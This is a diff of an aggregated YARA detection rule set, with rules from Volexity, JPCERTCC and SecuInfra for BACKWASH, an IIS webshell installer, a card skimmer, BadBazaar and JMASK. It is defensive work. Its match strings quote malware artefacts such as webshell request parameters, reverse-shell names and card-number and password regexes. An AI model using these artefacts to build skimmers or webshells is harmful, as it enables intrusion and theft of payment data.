"threatintel@volexity.com" + id = "1f768b39-21a0-574d-9043-5104540003f7" + date = "2021-11-17" + modified = "2023-08-17" + reference = "https://github.com/volexity/threat-intel" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2021/2021-12-06 - XEGroup/indicators/yara.yar#L50-L78" + license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" + logic_hash = "18c4e338905ff299d75534006037e63a8f9b191f062cc97b0592245518015f88" + score = 75 + quality = 80 + tags = "WHEELEDASH, FILE, MEMORY" + hash1 = "6f44a9c13459533a1f3e0b0e698820611a18113c851f763797090b8be64fd9d5" + scan_context = "file,memory" + severity = "high" + license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" + rule_id = 6145 + version = 3 + + strings: + $s1 = "SOAPRequest" ascii + $s2 = "requestServer" ascii + $s3 = "getFiles" ascii + $s4 = "APP_POOL_CONFIG" wide + $s5 = "<virtualDirectory" wide + $s6 = "stringinstr" ascii + $s7 = "504f5354" wide + $s8 = "XValidate" ascii + $s9 = "XEReverseShell" ascii + $s10 = "XERsvData" ascii + + condition: + 6 of them +} +rule VOLEXITY_Malware_Js_Xeskimmer : WHEELEDASH FILE +{ + meta: + description = "Detects JScript code using in skimming credit card details." + author = "threatintel@volexity.com" + id = "2c0911cf-a679-5d4e-baad-777745a28e27" + date = "2021-11-17" + modified = "2023-11-14" + reference = "https://github.com/MBThreatIntel/skimmers/blob/master/null_gif_skimmer.js" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2021/2021-12-06 - XEGroup/indicators/yara.yar#L79-L114" + license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" + logic_hash = "cc46e9fab5f408fde13c3897d378a1a2e4acb448f40ca4935c19024ebdc252d7" + score = 75 + quality = 80 + tags = "WHEELEDASH, FILE" + hash1 = "92f9593cfa0a28951cae36755d54de63631377f1b954a4cb0474fa0b6193c537" + os = "win" + os_arch = "all" + scan_context = "file" + severity = "critical" + license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" + rule_id = 6144 + version = 4 + + strings: + $s1 = ".match(/^([3456]\\d{14,15})$/g" ascii + $s2 = "^(p(wd|ass(code|wd|word)))" ascii + $b1 = "c('686569676874')" ascii + $b2 = "c('7769647468')" ascii + $c1 = "('696D67')" ascii + $c2 = "('737263')" ascii + $magic = "d=c.charCodeAt(b),a+=d.toString(16);" + + condition: + all of ( $s* ) or all of ( $b* ) or all of ( $c* ) or $magic +} +rule VOLEXITY_Malware_Win_Backwash_Iis : WHEELEDASH FILE MEMORY +{ + meta: + description = "Variant of the BACKWASH malware family with IIS worm functionality." + author = "threatintel@volexity.com" + id = "08a86a58-32af-5c82-90d2-d6603dae8d63" + date = "2020-09-04" + modified = "2023-08-17" + reference = "https://github.com/volexity/threat-intel" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2021/2021-12-06 - XEGroup/indicators/yara.yar#L181-L208" + license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" + hash = "98e39573a3d355d7fdf3439d9418fdbf4e42c2e03051b5313d5c84f3df485627" + logic_hash = "95a7f9e0afb031b49cd0da66b5a887d26ad2e06cce625bc45739b4a80e96ce9c" + score = 75 + quality = 80 + tags = "WHEELEDASH, FILE, MEMORY" + scan_context = "file,memory" + severity = "high" + license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" + rule_id = 231 + version = 6 + + strings: + $a1 = "GetShell" ascii + $a2 = "smallShell" ascii + $a3 = "createSmallShell" ascii + $a4 = "getSites" ascii + $a5 = "getFiles " ascii + $b1 = "action=saveshell&domain=" ascii wide + $b2 = "&shell=backsession.aspx" ascii wide + + condition: + all of ( $a* ) or any of ( $b* ) +} rule VOLEXITY_Apt_Malware_Win_Dolphin : INKYPINE FILE MEMORY { meta: @@ -164017,176 +164134,6 @@ rule VOLEXITY_Apt_Malware_Win_Freshfire : COZYLARCH FILE condition: (pe.number_of_exports == 1 and pe.exports ( "WaitPrompt" ) ) or any of ( $uniq* ) or 2 of ( $path* ) } -rule VOLEXITY_Malware_Win_Backwash_Cpp : WHEELEDASH FILE MEMORY -{ - meta: - description = "CPP loader for the Backwash malware." - author = "threatintel@volexity.com" - id = "8a1c4ff1-1827-5e6f-b838-664d8c3be840" - date = "2021-11-17" - modified = "2023-11-13" - reference = "https://github.com/volexity/threat-intel" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2021/2021-12-06 - XEGroup/indicators/yara.yar#L3-L26" - license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "c8ed2d3103aa85363acd7f5573aeb936a5ab5a3bacbcf1f04e6b298299f24dae" - score = 75 - quality = 80 - tags = "WHEELEDASH, FILE, MEMORY" - hash1 = "0cf93de64aa4dba6cec99aa5989fc9c5049bc46ca5f3cb327b49d62f3646a852" - os = "win" - os_arch = "all" - scan_context = "file,memory" - severity = "critical" - license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 6147 - version = 2 - - strings: - $s1 = "cor1dbg.dll" wide - $s2 = "XEReverseShell.exe" wide - $s3 = "XOJUMAN=" wide - - condition: - 2 of them -} -rule VOLEXITY_Malware_Win_Iis_Shellsave : WHEELEDASH FILE MEMORY -{ - meta: - description = "Detects an AutoIT backdoor designed to run on IIS servers and to install a webshell." - author = "threatintel@volexity.com" - id = "a89defa5-4b22-5650-a0c0-f4b3cf3377a7" - date = "2021-11-17" - modified = "2023-08-17" - reference = "https://github.com/volexity/threat-intel" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2021/2021-12-06 - XEGroup/indicators/yara.yar#L27-L49" - license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "f34d6f4ecaa4cde5965f6b0deac55c7133a2be96f5c466f34775be6e7f730493" - score = 75 - quality = 80 - tags = "WHEELEDASH, FILE, MEMORY" - hash1 = "21683e02e11c166d0cf616ff9a1a4405598db7f4adfc87b205082ae94f83c742" - scan_context = "file,memory" - severity = "high" - license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 6146 - version = 4 - - strings: - $s1 = "getdownloadshell" ascii - $s2 = "deleteisme" ascii - $s3 = "sitepapplication" ascii - $s4 = "getapplicationpool" ascii - - condition: - all of them -} -rule VOLEXITY_Malware_Win_Backwash_Iis_Scout : WHEELEDASH FILE MEMORY -{ - meta: - description = "Simple backdoor which collects information about the IIS server it is installed on. It appears to the attacker refers to this components as 'XValidate' - i.e. to validate infected machines." - author = "threatintel@volexity.com" - id = "1f768b39-21a0-574d-9043-5104540003f7" - date = "2021-11-17" - modified = "2023-08-17" - reference = "https://github.com/volexity/threat-intel" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2021/2021-12-06 - XEGroup/indicators/yara.yar#L50-L78" - license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "18c4e338905ff299d75534006037e63a8f9b191f062cc97b0592245518015f88" - score = 75 - quality = 80 - tags = "WHEELEDASH, FILE, MEMORY" - hash1 = "6f44a9c13459533a1f3e0b0e698820611a18113c851f763797090b8be64fd9d5" - scan_context = "file,memory" - severity = "high" - license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 6145 - version = 3 - - strings: - $s1 = "SOAPRequest" ascii - $s2 = "requestServer" ascii - $s3 = "getFiles" ascii - $s4 = "APP_POOL_CONFIG" wide - $s5 = "<virtualDirectory" wide - $s6 = "stringinstr" ascii - $s7 = "504f5354" wide - $s8 = "XValidate" ascii - $s9 = "XEReverseShell" ascii - $s10 = "XERsvData" ascii - - condition: - 6 of them -} -rule VOLEXITY_Malware_Js_Xeskimmer : WHEELEDASH FILE -{ - meta: - description = "Detects JScript code using in skimming credit card details." - author = "threatintel@volexity.com" - id = "2c0911cf-a679-5d4e-baad-777745a28e27" - date = "2021-11-17" - modified = "2023-11-14" - reference = "https://github.com/MBThreatIntel/skimmers/blob/master/null_gif_skimmer.js" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2021/2021-12-06 - XEGroup/indicators/yara.yar#L79-L114" - license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "cc46e9fab5f408fde13c3897d378a1a2e4acb448f40ca4935c19024ebdc252d7" - score = 75 - quality = 80 - tags = "WHEELEDASH, FILE" - hash1 = "92f9593cfa0a28951cae36755d54de63631377f1b954a4cb0474fa0b6193c537" - os = "win" - os_arch = "all" - scan_context = "file" - severity = "critical" - license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 6144 - version = 4 - - strings: - $s1 = ".match(/^([3456]\\d{14,15})$/g" ascii - $s2 = "^(p(wd|ass(code|wd|word)))" ascii - $b1 = "c('686569676874')" ascii - $b2 = "c('7769647468')" ascii - $c1 = "('696D67')" ascii - $c2 = "('737263')" ascii - $magic = "d=c.charCodeAt(b),a+=d.toString(16);" - - condition: - all of ( $s* ) or all of ( $b* ) or all of ( $c* ) or $magic -} -rule VOLEXITY_Malware_Win_Backwash_Iis : WHEELEDASH FILE MEMORY -{ - meta: - description = "Variant of the BACKWASH malware family with IIS worm functionality." - author = "threatintel@volexity.com" - id = "08a86a58-32af-5c82-90d2-d6603dae8d63" - date = "2020-09-04" - modified = "2023-08-17" - reference = "https://github.com/volexity/threat-intel" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2021/2021-12-06 - XEGroup/indicators/yara.yar#L181-L208" - license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - hash = "98e39573a3d355d7fdf3439d9418fdbf4e42c2e03051b5313d5c84f3df485627" - logic_hash = "95a7f9e0afb031b49cd0da66b5a887d26ad2e06cce625bc45739b4a80e96ce9c" - score = 75 - quality = 80 - tags = "WHEELEDASH, FILE, MEMORY" - scan_context = "file,memory" - severity = "high" - license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 231 - version = 6 - - strings: - $a1 = "GetShell" ascii - $a2 = "smallShell" ascii - $a3 = "createSmallShell" ascii - $a4 = "getSites" ascii - $a5 = "getFiles " ascii - $b1 = "action=saveshell&domain=" ascii wide - $b2 = "&shell=backsession.aspx" ascii wide - - condition: - all of ( $a* ) or any of ( $b* ) -} rule VOLEXITY_Apt_Malware_Golang_Govershell_Strings_UTA0388 : UTA0388 FILE MEMORY { meta: @@ -164250,146 +164197,6 @@ rule VOLEXITY_Apt_Malware_Golang_Govershell_Strings_UTA0388 : UTA0388 FILE MEMOR condition: 4 of ( $a* ) or 5 of ( $s* ) or 3 of ( $b* ) } -rule VOLEXITY_Apt_Malware_Apk_Badbazaar_Common_Certificate : EVILBAMBOO FILE -{ - meta: - description = "Detection of the common.cer file used for a large BADBAZAAR malware cluster for its certificate pinning for the C2 communication." - author = "threatintel@volexity.com" - id = "5a033770-7ad3-5c79-90ac-b1e3fff6b5f0" - date = "2023-06-01" - modified = "2023-06-13" - reference = "https://github.com/volexity/threat-intel" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2023/2023-09-22 EvilBamboo/indicators/rules.yar#L230-L255" - license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "861d4e1c40847c6ade04eddb047370d645afea6d5c16d55155fa58a16111c39e" - score = 75 - quality = 80 - tags = "EVILBAMBOO, FILE" - hash1 = "6aefc2b33e23f6e3c96de51d07f7123bd23ff951d67849a9bd32d446e76fb405" - scan_context = "file" - license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - - strings: - $b1 = {30 82 03 61 30 82 02 49 a0 03 02 01 02 02 04 2b 6e df 67 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b} - $s1 = "california1" - $s2 = "los1" - $s3 = "tech1" - $s4 = "common1" - $s5 = "common0" - $s6 = "220401234506Z" - $s7 = "470326234506Z0a1" - - condition: - $b1 at 0 or all of ( $s* ) -} -rule VOLEXITY_Apt_Malware_Apk_Badbazaar_Stage2_Implant_May23 : EVILBAMBOO FILE -{ - meta: - description = "Detection of the second stage capability of the BadBazaar android malware that has the main malicious capabilities. Will gather various info about the user/phone and routinely send this to the C2." - author = "threatintel@volexity.com" - id = "1f97c610-773f-5385-935a-445cb9192157" - date = "2023-05-25" - modified = "2023-08-30" - reference = "https://github.com/volexity/threat-intel" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2023/2023-09-22 EvilBamboo/indicators/rules.yar#L257-L285" - license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "2186369298ebfa0b892ecb14ebacc93c6d14c9c35012e8e6cdff077634cf3773" - score = 75 - quality = 80 - tags = "EVILBAMBOO, FILE" - hash1 = "bf5f7fbf42236e89bcf663d2822d54bee89abaf3f247a54f371bf156e0e03629" - scan_context = "file" - license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - - strings: - $c1 = "%{\"command\":\"%s\",\"path\":\"%s\",\"files\":[" - $c2 = "{\"name\":\"%s\",\"dirs\":\"%d\",\"files\":\"%d\",\"isfolder\":\"%d\",\"path\":\"%s\"}," - $s1 = "Timezon id:" - $s2 = "China Telecom" - $s3 = "China Unicom" - $s4 = "ConfigPipe" - $s5 = "ForwordTo" - $s6 = "can't get camera content" - $s7 = "cat /sys/class/net/wlan0/address" - $s8 = "_preferences_light" - $s9 = "registration_jid" - - condition: - 1 of ( $c* ) or 5 of ( $s* ) -} -rule VOLEXITY_Apt_Delivery_Web_Js_Jmask_Str_Array_Variant : EVILBAMBOO FILE -{ - meta: - description = "Detects the JMASK profiling script in an obfuscated format using a string array and an offset." - author = "threatintel@volexity.com" - id = "d5d32c8b-53fb-5103-ac73-05f320e71c97" - date = "2023-06-27" - modified = "2023-09-21" - reference = "https://github.com/volexity/threat-intel" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2023/2023-09-22 EvilBamboo/indicators/rules.yar#L408-L444" - license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "0ae7c96e0f866f21d66d7a23bf937d6ce48c9dd1ea19142dbb13487208780146" - score = 75 - quality = 80 - tags = "EVILBAMBOO, FILE" - hash1 = "7995c382263f8dbbfc37a9d62392aef8b4f89357d436b3dd94dea842f9574ecf" - scan_context = "file" - license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - - strings: - $array_1 = "http://eular.github.io" - $array_2 = "stun:stun.services.mozilla.com" - $array_3 = "\xE6\x9C\xAA\xE5\xAE\x89\xE8\xA3\x85MetaMask" - $array_4 = "/jquery/jquery.min.js" - $array_5 = "onicecandidate" - $ios_1 = "['a7', '640x1136', [_0x" - $ios_2 = "['a7', _0x" - $ios_3 = "['a8', _0x" - $ios_4 = "['a8', '750x1334', ['iPhone\\x206']]" - $ios_5 = "['a8', '1242x2208', ['iPhone\\x206\\x20Plus']]" - $ios_6 = "['a8', _0x" - $ios_7 = "['a9', _0x" - $ios_8 = "['a9', '750x1334', [_0x" - $ios_9 = "['a9', '1242x2208', ['iPhone\\x206s\\x20Plus']]" - $ios_10 = "['a9x', '2048x2732', ['iPad\\x20Pro\\x20(1st\\x20gen\\x2012.9-inch)']]" - $ios_11 = "['a10x', '1668x2224', [_0x" - $header = "info = {}, finished = 0x0;" - - condition: - 3 of ( $array_* ) or 5 of ( $ios_* ) or $header -} -rule VOLEXITY_Apt_Delivery_Web_Js_Jmask : EVILBAMBOO FILE -{ - meta: - description = "Detects the JMASK profiling script in its minified // obfuscated format." - author = "threatintel@volexity.com" - id = "a7b653e1-f7c6-56cc-ab99-3de91d29ef3b" - date = "2023-06-15" - modified = "2023-09-21" - reference = "https://github.com/volexity/threat-intel" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2023/2023-09-22 EvilBamboo/indicators/rules.yar#L446-L472" - license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "64315ac05049954d36297a616a25ffdd7ce81c6313c0878d5ba4082da24c21bb" - score = 75 - quality = 80 - tags = "EVILBAMBOO, FILE" - hash1 = "efea95720853e0cd2d9d4e93a64a726cfe17efea7b17af7c4ae6d3a6acae5b30" - scan_context = "file" - license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - - strings: - $rev0 = "oi.buhtig.ralue//:ptth" ascii - $rev1 = "lairA' xp41" ascii - $rev2 = "dnuof ton ksaMateM" ascii - $unicode1 = "document[\"\\u0063\\u0075\\u0072\\u0072\\u0065\\u006e\\u0074\\u0053\\u0063\\u0072\\u0069\\u0070\\u0074\"]" ascii - $unicode2 = "\\u0061\\u0070\\u0070\\u006c\\u0069\\u0063\\u0061\\u0074\\u0069\\u006f\\u006e\\u002f\\u006a\\u0073\\u006f\\u006e" ascii - $unicode3 = "\\u0063\\u006c\\u0069\\u0065\\u006e\\u0074\\u0057\\u0069\\u0064\\u0074\\u0068" ascii - $unicode4 = "=window[\"\\u0073\\u0063\\u0072\\u0065\\u0065\\u006e\"]" ascii - $header = "(function(){info={};finished=" ascii - - condition: - all of ( $rev* ) or all of ( $unicode* ) or $header -} rule VOLEXITY_Apt_Malware_Win_Avburner : DEVIOUSBAMBOO FILE MEMORY { meta: @@ -164619,6 +164426,146 @@ rule VOLEXITY_Informational_Win_3Cx_Msi : UTA0040 condition: all of them } +rule VOLEXITY_Apt_Malware_Apk_Badbazaar_Common_Certificate : EVILBAMBOO FILE +{ + meta: + description = "Detection of the common.cer file used for a large BADBAZAAR malware cluster for its certificate pinning for the C2 communication." + author = "threatintel@volexity.com" + id = "5a033770-7ad3-5c79-90ac-b1e3fff6b5f0" + date = "2023-06-01" + modified = "2023-06-13" + reference = "https://github.com/volexity/threat-intel" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2023/2023-09-22 EvilBamboo/indicators/rules.yar#L230-L255" + license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" + logic_hash = "861d4e1c40847c6ade04eddb047370d645afea6d5c16d55155fa58a16111c39e" + score = 75 + quality = 80 + tags = "EVILBAMBOO, FILE" + hash1 = "6aefc2b33e23f6e3c96de51d07f7123bd23ff951d67849a9bd32d446e76fb405" + scan_context = "file" + license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" + + strings: + $b1 = {30 82 03 61 30 82 02 49 a0 03 02 01 02 02 04 2b 6e df 67 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b} + $s1 = "california1" + $s2 = "los1" + $s3 = "tech1" + $s4 = "common1" + $s5 = "common0" + $s6 = "220401234506Z" + $s7 = "470326234506Z0a1" + + condition: + $b1 at 0 or all of ( $s* ) +} +rule VOLEXITY_Apt_Malware_Apk_Badbazaar_Stage2_Implant_May23 : EVILBAMBOO FILE +{ + meta: + description = "Detection of the second stage capability of the BadBazaar android malware that has the main malicious capabilities. Will gather various info about the user/phone and routinely send this to the C2." + author = "threatintel@volexity.com" + id = "1f97c610-773f-5385-935a-445cb9192157" + date = "2023-05-25" + modified = "2023-08-30" + reference = "https://github.com/volexity/threat-intel" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2023/2023-09-22 EvilBamboo/indicators/rules.yar#L257-L285" + license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" + logic_hash = "2186369298ebfa0b892ecb14ebacc93c6d14c9c35012e8e6cdff077634cf3773" + score = 75 + quality = 80 + tags = "EVILBAMBOO, FILE" + hash1 = "bf5f7fbf42236e89bcf663d2822d54bee89abaf3f247a54f371bf156e0e03629" + scan_context = "file" + license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" + + strings: + $c1 = "%{\"command\":\"%s\",\"path\":\"%s\",\"files\":[" + $c2 = "{\"name\":\"%s\",\"dirs\":\"%d\",\"files\":\"%d\",\"isfolder\":\"%d\",\"path\":\"%s\"}," + $s1 = "Timezon id:" + $s2 = "China Telecom" + $s3 = "China Unicom" + $s4 = "ConfigPipe" + $s5 = "ForwordTo" + $s6 = "can't get camera content" + $s7 = "cat /sys/class/net/wlan0/address" + $s8 = "_preferences_light" + $s9 = "registration_jid" + + condition: + 1 of ( $c* ) or 5 of ( $s* ) +} +rule VOLEXITY_Apt_Delivery_Web_Js_Jmask_Str_Array_Variant : EVILBAMBOO FILE +{ + meta: + description = "Detects the JMASK profiling script in an obfuscated format using a string array and an offset." + author = "threatintel@volexity.com" + id = "d5d32c8b-53fb-5103-ac73-05f320e71c97" + date = "2023-06-27" + modified = "2023-09-21" + reference = "https://github.com/volexity/threat-intel" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2023/2023-09-22 EvilBamboo/indicators/rules.yar#L408-L444" + license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" + logic_hash = "0ae7c96e0f866f21d66d7a23bf937d6ce48c9dd1ea19142dbb13487208780146" + score = 75 + quality = 80 + tags = "EVILBAMBOO, FILE" + hash1 = "7995c382263f8dbbfc37a9d62392aef8b4f89357d436b3dd94dea842f9574ecf" + scan_context = "file" + license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" + + strings: + $array_1 = "http://eular.github.io" + $array_2 = "stun:stun.services.mozilla.com" + $array_3 = "\xE6\x9C\xAA\xE5\xAE\x89\xE8\xA3\x85MetaMask" + $array_4 = "/jquery/jquery.min.js" + $array_5 = "onicecandidate" + $ios_1 = "['a7', '640x1136', [_0x" + $ios_2 = "['a7', _0x" + $ios_3 = "['a8', _0x" + $ios_4 = "['a8', '750x1334', ['iPhone\\x206']]" + $ios_5 = "['a8', '1242x2208', ['iPhone\\x206\\x20Plus']]" + $ios_6 = "['a8', _0x" + $ios_7 = "['a9', _0x" + $ios_8 = "['a9', '750x1334', [_0x" + $ios_9 = "['a9', '1242x2208', ['iPhone\\x206s\\x20Plus']]" + $ios_10 = "['a9x', '2048x2732', ['iPad\\x20Pro\\x20(1st\\x20gen\\x2012.9-inch)']]" + $ios_11 = "['a10x', '1668x2224', [_0x" + $header = "info = {}, finished = 0x0;" + + condition: + 3 of ( $array_* ) or 5 of ( $ios_* ) or $header +} +rule VOLEXITY_Apt_Delivery_Web_Js_Jmask : EVILBAMBOO FILE +{ + meta: + description = "Detects the JMASK profiling script in its minified // obfuscated format." + author = "threatintel@volexity.com" + id = "a7b653e1-f7c6-56cc-ab99-3de91d29ef3b" + date = "2023-06-15" + modified = "2023-09-21" + reference = "https://github.com/volexity/threat-intel" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2023/2023-09-22 EvilBamboo/indicators/rules.yar#L446-L472" + license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" + logic_hash = "64315ac05049954d36297a616a25ffdd7ce81c6313c0878d5ba4082da24c21bb" + score = 75 + quality = 80 + tags = "EVILBAMBOO, FILE" + hash1 = "efea95720853e0cd2d9d4e93a64a726cfe17efea7b17af7c4ae6d3a6acae5b30" + scan_context = "file" + license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" + + strings: + $rev0 = "oi.buhtig.ralue//:ptth" ascii + $rev1 = "lairA' xp41" ascii + $rev2 = "dnuof ton ksaMateM" ascii + $unicode1 = "document[\"\\u0063\\u0075\\u0072\\u0072\\u0065\\u006e\\u0074\\u0053\\u0063\\u0072\\u0069\\u0070\\u0074\"]" ascii + $unicode2 = "\\u0061\\u0070\\u0070\\u006c\\u0069\\u0063\\u0061\\u0074\\u0069\\u006f\\u006e\\u002f\\u006a\\u0073\\u006f\\u006e" ascii + $unicode3 = "\\u0063\\u006c\\u0069\\u0065\\u006e\\u0074\\u0057\\u0069\\u0064\\u0074\\u0068" ascii + $unicode4 = "=window[\"\\u0073\\u0063\\u0072\\u0065\\u0065\\u006e\"]" ascii + $header = "(function(){info={};finished=" ascii + + condition: + all of ( $rev* ) or all of ( $unicode* ) or $header +} rule VOLEXITY_Apt_Win_Powerstar_Persistence_Batch : CHARMINGKITTEN { meta: @@ -164817,7 +164764,7 @@ rule VOLEXITY_Apt_Win_Powerstar : CHARMINGKITTEN * YARA Rule Set * Repository Name: JPCERTCC * Repository: https://github.com/JPCERTCC/MalConfScan/ - * Retrieval Date: 2026-02-22 + * Retrieval Date: 2026-03-01 * Git Commit: 19ec0d145535a6a4cfd37c0960114f455a8c343e * Number of Rules: 30 * Skipped: 0 (age), 4 (quality), 0 (score), 0 (importance) @@ -165661,7 +165608,7 @@ rule JPCERTCC_Elf_Wellmess : FILE * YARA Rule Set * Repository Name: SecuInfra * Repository: https://github.com/SIFalcon/Detection - * Retrieval Date: 2026-02-22 + * Retrieval Date: 2026-03-01 * Git Commit: 2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd * Number of Rules: 45 * Skipped: 0 (age), 11 (quality), 0 (score), 0 (importance) @@ -165671,58 +165618,298 @@ rule JPCERTCC_Elf_Wellmess : FILE * * NO LICENSE SET */ -rule SECUINFRA_SUSP_Scheduled_Tasks_Create_From_Susp_Dir : FILE +rule SECUINFRA_SUSP_Discord_Attachments_URL : PE DOWNLOAD FILE { meta: - description = "Detects a PowerShell Script that creates a Scheduled Task that runs from an suspicious directory" + description = "Detects a PE file that contains an Discord Attachments URL. This is often used by Malware to download further payloads" author = "SECUINFRA Falcon Team" - id = "65aad597-c5fe-50c3-8970-19fb502f1602" - date = "2022-02-21" + id = "bf81920b-f8ab-594a-aa45-d92446411113" + date = "2022-02-19" + modified = "2022-02-27" + reference = "https://github.com/SIFalcon/Detection" + source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/exe.yar#L3-L16" + license_url = "N/A" + logic_hash = "3270b74506e520064361379b274f44a467c55bdcd3d8456967e864526aca8521" + score = 65 + quality = 70 + tags = "PE, DOWNLOAD, FILE" + version = "0.1" + + strings: + $url = "cdn.discordapp.com/attachments" nocase wide + + condition: + uint16( 0 ) == 0x5a4d and $url +} + +rule SECUINFRA_SUSP_DOTNET_PE_Download_To_Specialfolder : DOTNET DOWNLOAD FILE +{ + meta: + description = "Detects a .NET Binary that downloads further payload and retrieves a special folder" + author = "SECUINFRA Falcon Team" + id = "106683bf-1d36-58ee-b5af-4723aa70fdad" + date = "2022-02-27" + modified = "2022-02-27" + reference = "https://github.com/SIFalcon/Detection" + source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/exe.yar#L45-L64" + license_url = "N/A" + logic_hash = "d44c89ab126f79596c8bf3f1327b37a2463faa4e3bb258f9a96d495ac40003f8" + score = 65 + quality = 70 + tags = "DOTNET, DOWNLOAD, FILE" + + strings: + $special_folder = "Environment.SpecialFolder" wide + $webclient = "WebClient()" wide + $download = ".DownloadFile(" wide + + condition: + uint16( 0 ) == 0x5a4d and filesize < 100KB and pe.imports ( "mscoree.dll" ) and $special_folder and $webclient and $download +} + +rule SECUINFRA_SUSP_DOTNET_PE_List_AV : DOTNET AV FILE +{ + meta: + description = "Detecs .NET Binary that lists installed AVs" + author = "SECUINFRA Falcon Team" + id = "0f27567a-ab41-5d17-a1d8-a59c9602eb35" + date = "2022-02-27" + modified = "2022-02-27" + reference = "https://github.com/SIFalcon/Detection" + source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/exe.yar#L66-L82" + license_url = "N/A" + logic_hash = "b82e6ed5740cab26eb3848717204190d61663e7e42ff42536386b00181a15ebb" + score = 65 + quality = 70 + tags = "DOTNET, AV, FILE" + + strings: + $mgt_obj_searcher = "\\root\\SecurityCenter2" wide + $query = "Select * from AntivirusProduct" wide + + condition: + uint16( 0 ) == 0x5a4d and filesize < 200KB and pe.imports ( "mscoree.dll" ) and $mgt_obj_searcher and $query +} +rule SECUINFRA_SUSP_Netsh_Firewall_Command : PE FILE +{ + meta: + description = "No description has been set in the source file - SecuInfra" + author = "SECUINFRA Falcon Team" + id = "c62cbe3f-9585-56c0-bb09-83a36437abda" + date = "2022-02-27" + modified = "2022-02-27" + reference = "https://github.com/SIFalcon/Detection" + source_url = 